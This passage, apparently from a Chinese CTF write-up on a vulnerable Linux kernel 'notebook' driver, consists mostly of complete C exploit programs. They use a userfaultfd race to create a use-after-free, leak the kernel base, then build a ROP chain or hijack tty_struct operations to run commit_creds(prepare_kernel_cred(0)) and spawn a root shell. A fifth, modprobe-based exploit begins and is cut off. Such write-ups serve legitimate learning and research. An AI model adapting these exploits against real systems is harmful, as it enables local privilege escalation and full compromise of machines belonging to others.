uint64_t kpti_trampoline_addr = 0xFFFFFFFF81A0093F;
uint64_t pop_rsi_pop_rdx_pop_ret = 0xffffffff810d7324;
uint64_t pop_rbp_ret = 0xffffffff81478d44;
uint64_t mov_rdi_rax_pop_ret = 0xffffffff8110d81a;

uint64_t cc_addr = 0xFFFFFFFF810A9B40;
uint64_t pkc_addr = 0xFFFFFFFF810A9EF0;

struct note{
uint64_t note;
uint64_t size;
};

struct userarg{
uint64_t idx;
uint64_t size;
char* buf;
};

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(30);
// pause();
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));

struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
ErrExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}

void noteadd(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x100, &arg);
}

void notedel(uint64_t idx){
struct userarg arg = {
.idx = idx,
.size = 0,
.buf = 0,
};

ioctl(g_fd, 0x200, &arg);
}

void noteedit(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x300, &arg);
}

void notegift(char* buf){
struct userarg arg = {
.idx = 0,
.size = 0,
.buf = buf,
};

ioctl(g_fd, 0x64, &arg);
}

void write_note(char* con_buf, uint64_t idx){
write(g_fd,con_buf,idx);
}

void read_note(char* con_buf, uint64_t idx){
read(g_fd,con_buf,idx);
}

void* edit_thread(){
noteedit(0, 0x100, addr);
return NULL;
}

void* add_thread(){
noteadd(0,0x20,addr);
return NULL;
}

void getshell(){
system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

int main(){
char *ret_buf = malloc(0x60);
int i;
int fd[0x100];
uint64_t leak_addr;
int index;
g_fd = open("/dev/notebook",2);

// 1. notebook[0].note = heap1 / notebook[0].size = 0x20
char* name = malloc(0x100);
memset(name, 'a', 18);
noteadd(0,0x20,name);

// 2. using userfaultfd to produce UAF: notebook[0].note = heap1 / notebook[0].size = 0x100
addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(addr, userfaultfd_leak_handler);
pthread_t thr_edit,thr_add;
pthread_create(&thr_edit, NULL, edit_thread, 0);

// 3. set notebook size to enable read/write : notebook[0].note = heap1 / notebook[0].size = 0x20
pthread_create(&thr_add, NULL, add_thread, 0);
// sleep(1); //给1s缓冲时间,让size值写上

// 4. get heap1 back, then we can use the UAF
for(i =0 ;i<100; i++){
fd[i] = open("/proc/self/stat",0); // in kernel it will kmalloc(0x20)
read_note(ret_buf, 0); // check whether we hit heap1 or not
leak_addr = *(int64_t *)ret_buf;
if(((leak_addr&0xffffffff00000000) >> 32) == 0xFFFFFFFF){
index = i;
printf("found it! the index is %d\n",index);
break;
}
}

if(i == 100){
printf("failed to get heap1 back, let's try again!\n");
exit(0);
}

// 5. leak kernel base: read heap1
kernel_base = leak_addr - (single_start_func - bzImage_base);
printf("kernel_base : 0x%lx\n",kernel_base);

// 6. hijack control flow: write heap1, then trigger 'seq_operations->start'
uint64_t control_rip = add_rsp_1a8 - bzImage_base + kernel_base;
write_note((char*)&control_rip,0);

// 7. stack pivot: use the gift func ^_^
save_status();
noteadd(1,0x60,name);
noteedit(1,0x200,name);
notegift(ret_buf);
heap_addr = *(int64_t *)(ret_buf+0x10); // heap addr
int a = 0;
uint64_t gadget_buf[0x200] = {0};
gadget_buf[a++] = pop_rdi_ret - bzImage_base + kernel_base;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = pkc_addr - bzImage_base + kernel_base;
gadget_buf[a++] = pop_rsi_pop_rdx_pop_ret - bzImage_base + kernel_base; // mov rdi, rax
gadget_buf[a++] = 0x0;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = pop_rbp_ret - bzImage_base + kernel_base;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = mov_rdi_rax_pop_ret - bzImage_base + kernel_base;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = cc_addr - bzImage_base + kernel_base;;
gadget_buf[a++] = kpti_trampoline_addr - bzImage_base + kernel_base;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = (uint64_t)getshell;
gadget_buf[a++] = user_cs;
gadget_buf[a++] = user_rflags;
gadget_buf[a++] = user_sp;
gadget_buf[a++] = user_ss;

write_note(gadget_buf,1);

// 8. trigger
temp_fd = fd[index];
pop_rsp_ret = pop_rsp_ret - bzImage_base + kernel_base;
__asm__(
"mov r15, 0x15151515;" // r15
"mov r14, 0x14141414;" // r14 /tmp/x
"mov r13, 0x13131313;" // r13
"mov r12, 0x12121212;" // r12
"mov r11, 0x11111111;"
"mov r10, 0x10101010;" // r10
"mov rbp, pop_rsp_ret;" // bbbbbbbb
"mov rbx, heap_addr;" // aaaaaaaa
"mov r9, 0x99999999;" // r9
"mov r8, 0x88888888;" //r8
"mov rcx, 0xcccccccc;"
"xor rax, rax;"
"mov rdx, 0x22222222;"
"mov rsi, 0x33333333;"
"mov rdi, temp_fd;"
"syscall"
);

pthread_exit(NULL);
return 0;
}

exp3

用户态注册signal handler, 获得root shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
#define _GNU_SOURCE
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

int g_fd = 0;
char* addr;
uint64_t temp_buf[0x20];
int temp_fd;
uint64_t heap_addr;

#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)

uint64_t single_start_func = 0xFFFFFFFF8128C230;
uint64_t bzImage_base = 0xFFFFFFFF81000000;
uint64_t kernel_base;
uint64_t pop_rdi_ret = 0xffffffff81007115;
uint64_t add_rsp_1a8 = 0xffffffff816473a4;
uint64_t pop_rsp_ret = 0xffffffff810bc110;
uint64_t kpti_trampoline_addr = 0xFFFFFFFF81A0093F;
uint64_t pop_rsi_pop_rdx_pop_ret = 0xffffffff810d7324;
uint64_t pop_rbp_ret = 0xffffffff81478d44;
uint64_t mov_rdi_rax_pop_ret = 0xffffffff8110d81a;
uint64_t swapgs_pop_ret = 0xffffffff810637d4;
uint64_t iretq = 0xFFFFFFFF81A009E7;

uint64_t cc_addr = 0xFFFFFFFF810A9B40;
uint64_t pkc_addr = 0xFFFFFFFF810A9EF0;

struct note{
uint64_t note;
uint64_t size;
};

struct userarg{
uint64_t idx;
uint64_t size;
char* buf;
};

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(30);
// pause();
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));

struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
ErrExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}

void noteadd(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x100, &arg);
}

void notedel(uint64_t idx){
struct userarg arg = {
.idx = idx,
.size = 0,
.buf = 0,
};

ioctl(g_fd, 0x200, &arg);
}

void noteedit(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x300, &arg);
}

void notegift(char* buf){
struct userarg arg = {
.idx = 0,
.size = 0,
.buf = buf,
};

ioctl(g_fd, 0x64, &arg);
}

void write_note(char* con_buf, uint64_t idx){
write(g_fd,con_buf,idx);
}

void read_note(char* con_buf, uint64_t idx){
read(g_fd,con_buf,idx);
}

void* edit_thread(){
noteedit(0, 0x100, addr);
return NULL;
}

void* add_thread(){
noteadd(0,0x20,addr);
return NULL;
}

void getshell(){
system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

int main(){
char *ret_buf = malloc(0x60);
int i;
int fd[0x100];
uint64_t leak_addr;
int index;
g_fd = open("/dev/notebook",2);
signal(SIGSEGV,getshell);
// 1. notebook[0].note = heap1 / notebook[0].size = 0x20
char* name = malloc(0x100);
memset(name, 'a', 18);
noteadd(0,0x20,name);

// 2. using userfaultfd to produce UAF: notebook[0].note = heap1 / notebook[0].size = 0x100
addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(addr, userfaultfd_leak_handler);
pthread_t thr_edit,thr_add;
pthread_create(&thr_edit, NULL, edit_thread, 0);

// 3. set notebook size to enable read/write : notebook[0].note = heap1 / notebook[0].size = 0x20
pthread_create(&thr_add, NULL, add_thread, 0);
// sleep(1); //给1s缓冲时间,让size值写上

// 4. get heap1 back, then we can use the UAF
for(i =0 ;i<100; i++){
fd[i] = open("/proc/self/stat",0); // in kernel it will kmalloc(0x20)
read_note(ret_buf, 0); // check whether we hit heap1 or not
leak_addr = *(int64_t *)ret_buf;
if(((leak_addr&0xffffffff00000000) >> 32) == 0xFFFFFFFF){
index = i;
printf("found it! the index is %d\n",index);
break;
}
}

if(i == 100){
printf("failed to get heap1 back, let's try again!\n");
exit(0);
}

// 5. leak kernel base: read heap1
kernel_base = leak_addr - (single_start_func - bzImage_base);
printf("kernel_base : 0x%lx\n",kernel_base);

// 6. hijack control flow: write heap1, then trigger 'seq_operations->start'
uint64_t control_rip = add_rsp_1a8 - bzImage_base + kernel_base;
write_note((char*)&control_rip,0);

// 7. stack pivot: use the gift func ^_^
save_status();
noteadd(1,0x60,name);
noteedit(1,0x200,name);
notegift(ret_buf);
heap_addr = *(int64_t *)(ret_buf+0x10); // heap addr
int a = 0;
uint64_t gadget_buf[0x200] = {0};
gadget_buf[a++] = pop_rdi_ret - bzImage_base + kernel_base;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = pkc_addr - bzImage_base + kernel_base;
gadget_buf[a++] = pop_rsi_pop_rdx_pop_ret - bzImage_base + kernel_base; // mov rdi, rax
gadget_buf[a++] = 0x0;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = pop_rbp_ret - bzImage_base + kernel_base;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = mov_rdi_rax_pop_ret - bzImage_base + kernel_base;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = cc_addr - bzImage_base + kernel_base;;
gadget_buf[a++] = swapgs_pop_ret - bzImage_base + kernel_base;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = iretq - bzImage_base + kernel_base;
gadget_buf[a++] = (uint64_t)getshell;
gadget_buf[a++] = user_cs;
gadget_buf[a++] = user_rflags;
gadget_buf[a++] = user_sp;
gadget_buf[a++] = user_ss;

write_note(gadget_buf,1);

// 8. trigger
temp_fd = fd[index];
pop_rsp_ret = pop_rsp_ret - bzImage_base + kernel_base;
__asm__(
"mov r15, 0x15151515;" // r15
"mov r14, 0x14141414;" // r14 /tmp/x
"mov r13, 0x13131313;" // r13
"mov r12, 0x12121212;" // r12
"mov r11, 0x11111111;"
"mov r10, 0x10101010;" // r10
"mov rbp, pop_rsp_ret;" // bbbbbbbb
"mov rbx, heap_addr;" // aaaaaaaa
"mov r9, 0x99999999;" // r9
"mov r8, 0x88888888;" //r8
"mov rcx, 0xcccccccc;"
"xor rax, rax;"
"mov rdx, 0x22222222;"
"mov rsi, 0x33333333;"
"mov rdi, temp_fd;"
"syscall"
);

pthread_exit(NULL);
return 0;
}

exp4

利用work_for_cpu_fn()函数,劫持tty_struct->ops->ioctl,分两次执行commit_cred(prepare_kernel_creds(0)),最后在用户态执行system(“/bin/sh”)获得root shell

注意点:

  1. 只能用ioctl,不能用write

  2. 写tty_struct和file_operations要先将内容读出,改掉目标位置后,再将内容全部写回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#define _GNU_SOURCE
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <ctype.h>

int g_fd = 0;
char* addr;
uint64_t temp_buf[0x20];
int temp_fd;
uint64_t heap_addr;

#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)

uint64_t bzImage_base = 0xFFFFFFFF81000000;
uint64_t kernel_base;
uint64_t work_for_cpu_fn = 0xFFFFFFFF8109EB90;
uint64_t ptm_ops = 0xFFFFFFFF81E8E440;

uint64_t cc_addr = 0xFFFFFFFF810A9B40;
uint64_t pkc_addr = 0xFFFFFFFF810A9EF0;

struct note{
uint64_t note;
uint64_t size;
};

struct userarg{
uint64_t idx;
uint64_t size;
char* buf;
};

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(30);
// pause();
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));

struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
ErrExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}

void noteadd(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x100, &arg);
}

void notedel(uint64_t idx){
struct userarg arg = {
.idx = idx,
.size = 0,
.buf = 0,
};

ioctl(g_fd, 0x200, &arg);
}

void noteedit(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x300, &arg);
}

void notegift(char* buf){
struct userarg arg = {
.idx = 0,
.size = 0,
.buf = buf,
};

ioctl(g_fd, 0x64, &arg);
}

void write_note(char* con_buf, uint64_t idx){
write(g_fd,con_buf,idx);
}

void read_note(char* con_buf, uint64_t idx){
read(g_fd,con_buf,idx);
}

void* edit_thread(){
noteedit(0, 0x500, addr);
return NULL;
}

void* add_thread(){
noteadd(0,0x60,addr);
return NULL;
}

int main(){
char *ret_buf = malloc(0x100);
int i;
int fd[0x100];
uint64_t leak_addr;
int index;
g_fd = open("/dev/notebook",2);

// 1. notebook[0].note = heap1 / notebook[0].size = 0x3a8
char* name = malloc(0x100);
memset(name, 'a', 18);
noteadd(0,0x60,name);
noteedit(0,0x3a8,name);

// 2. using userfaultfd to produce UAF: notebook[0].note = heap1 / notebook[0].size = 0x500
addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(addr, userfaultfd_leak_handler);
pthread_t thr_edit,thr_add;
pthread_create(&thr_edit, NULL, edit_thread, 0);
sleep(1);

// 3. set notebook size to enable read/write : notebook[0].note = heap1 / notebook[0].size = 0x60
pthread_create(&thr_add, NULL, add_thread, 0);
sleep(1); //给1s缓冲时间,让size值写上

// 4. get heap1 back, then we can use the UAF
for(i =0 ;i<100; i++){
fd[i] = open("dev/ptmx",2); // in kernel it will kmalloc(0x3a8)
read_note(ret_buf, 0);
leak_addr = *(int64_t *)(ret_buf+0x18);
if(((leak_addr&0xffffffff00000000) >> 32) == 0xFFFFFFFF){
if((leak_addr&0xfff) == 0x440) // check whether we hit heap1 or not
{
index = i;
printf("found it! the index is %d\n",index);
break;
}
}
}

if(i == 100){
printf("failed to get heap1 back, let's reboot and try again!\n");
exit(0);
}

// 5. calc kernel base
kernel_base = leak_addr - (ptm_ops - bzImage_base);
printf("kernel_base : 0x%lx\n",kernel_base);

// 6. notebook[0].note = heap2 / notebook[0].size = 0x100
noteadd(1,0x60,name);
noteedit(1,0x100,name);

// 7. change tty_operations->ioctl to work_for_cpu_fn
notegift(ret_buf);
uint64_t heap_addr_fn = *(int64_t *)(ret_buf+0x10);
char* fop_buf = malloc(0x100);
// 先读后写
read_note(fop_buf,1);
*(uint64_t *)(fop_buf+0x60) = work_for_cpu_fn - bzImage_base + kernel_base;
write_note(fop_buf,1);
printf("tty_struct heap1 addr: 0x%lx\n",*(int64_t *)(ret_buf));
printf("tty_operations heap2 addr: 0x%lx\n",heap_addr_fn);

// 8. prepare_kernel_creds(0)
// 先读后写,不然可能覆盖掉重要数据
char* tty_buf = malloc(0x60);
read_note(tty_buf,0);
*(uint64_t *)(tty_buf+0x18) = heap_addr_fn; // change tty_struct->ops, make it points to heap2
*(uint64_t *)(tty_buf+0x20) = pkc_addr - bzImage_base + kernel_base;
*(uint64_t *)(tty_buf+0x28) = 0x0;
uint64_t old_value_0x30 = *(uint64_t *)(tty_buf+0x30);
printf("old value : 0x%lx\n",old_value_0x30);
write_note(tty_buf,0);

ioctl(fd[index],0x100,32);


// 9. commit_cred(prepare_kernel_creds(0))
// 先读后写,不然可能覆盖掉重要数据
read_note(tty_buf,0);
uint64_t pkc_ret = *(uint64_t *)(tty_buf+0x30);
*(uint64_t *)(tty_buf+0x18) = heap_addr_fn;
*(uint64_t *)(tty_buf+0x20) = cc_addr - bzImage_base + kernel_base;
*(uint64_t *)(tty_buf+0x28) = pkc_ret;
*(uint64_t *)(tty_buf+0x30) = old_value_0x30;
write_note(tty_buf,0);

ioctl(fd[index],0x100,32);

// 10. get root shell
printf("[+] getuid() = %d\n",getuid());
if(getuid() == 0){
printf("[+] Pwned!\n");
system("/bin/sh");
}

return 0;
}

exp5

内核地址泄露:利用ko泄露(程序运行过程中,e8指令后四个字节是相对偏移量,被调用函数实际段偏移量 = 下一条指令地址 + 相对偏移量)带你弄懂 call 指令调用方式

任意地址读写:泄露堆地cookie,构造heap链:freelist -> chunk1 -> notebook_addr - 0x10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
#define _GNU_SOURCE
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <ctype.h>

int g_fd = 0;
char* addr;
uint64_t temp_buf[0x20];
int temp_fd;
uint64_t heap_addr;
int uaf_index;
uint64_t module_base = 0;
#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)

uint64_t bzImage_base = 0xFFFFFFFF81000000;
uint64_t kernel_base;
uint64_t modprobe_addr = 0xFFFFFFFF8225D2E1;

struct note{
uint64_t note;
uint64_t size;
};

struct userarg{
uint64_t idx;
uint64_t size;
char* buf;
};

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(30);
// pause();
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));

struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
ErrExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}

void noteadd(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x100, &arg);
}

void notedel(uint64_t idx){
struct userarg arg = {
.idx = idx,
.size = 0,
.buf = 0,
};

ioctl(g_fd, 0x200, &arg);
}

void noteedit(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x300, &arg);
}

void notegift(char* buf){
struct userarg arg = {
.idx = 0,
.size = 0,
.buf = buf,
};

ioctl(g_fd, 0x64, &arg);
}

void write_note(char* con_buf, uint64_t idx){
write(g_fd,con_buf,idx);
}

void read_note(char* con_buf, uint64_t idx){
read(g_fd,con_buf,idx);
}

void* edit_thread(){
noteedit(0, 0x100, addr);
return NULL;
}

void* add_thread(){
noteadd(0,0x60,addr);
return NULL;
}

void get_mod_base(){
FILE *stream =popen("cat /tmp/moduleaddr | awk '{print $6}'","r");
char *mem = malloc(0x20);
fread(mem,0x12,1,stream);
module_base = strtoul(mem,NULL,16);
printf("Mod_BASE:\t %lX\n",module_base);
}

int main(){
char *ret_buf = malloc(0x100);
char *in_buf = malloc(0x100);
char *name = malloc(0x100);
memset(name,'a',0x100);

get_mod_base();

g_fd = open("/dev/notebook",2);

noteadd(0,0x60,name);
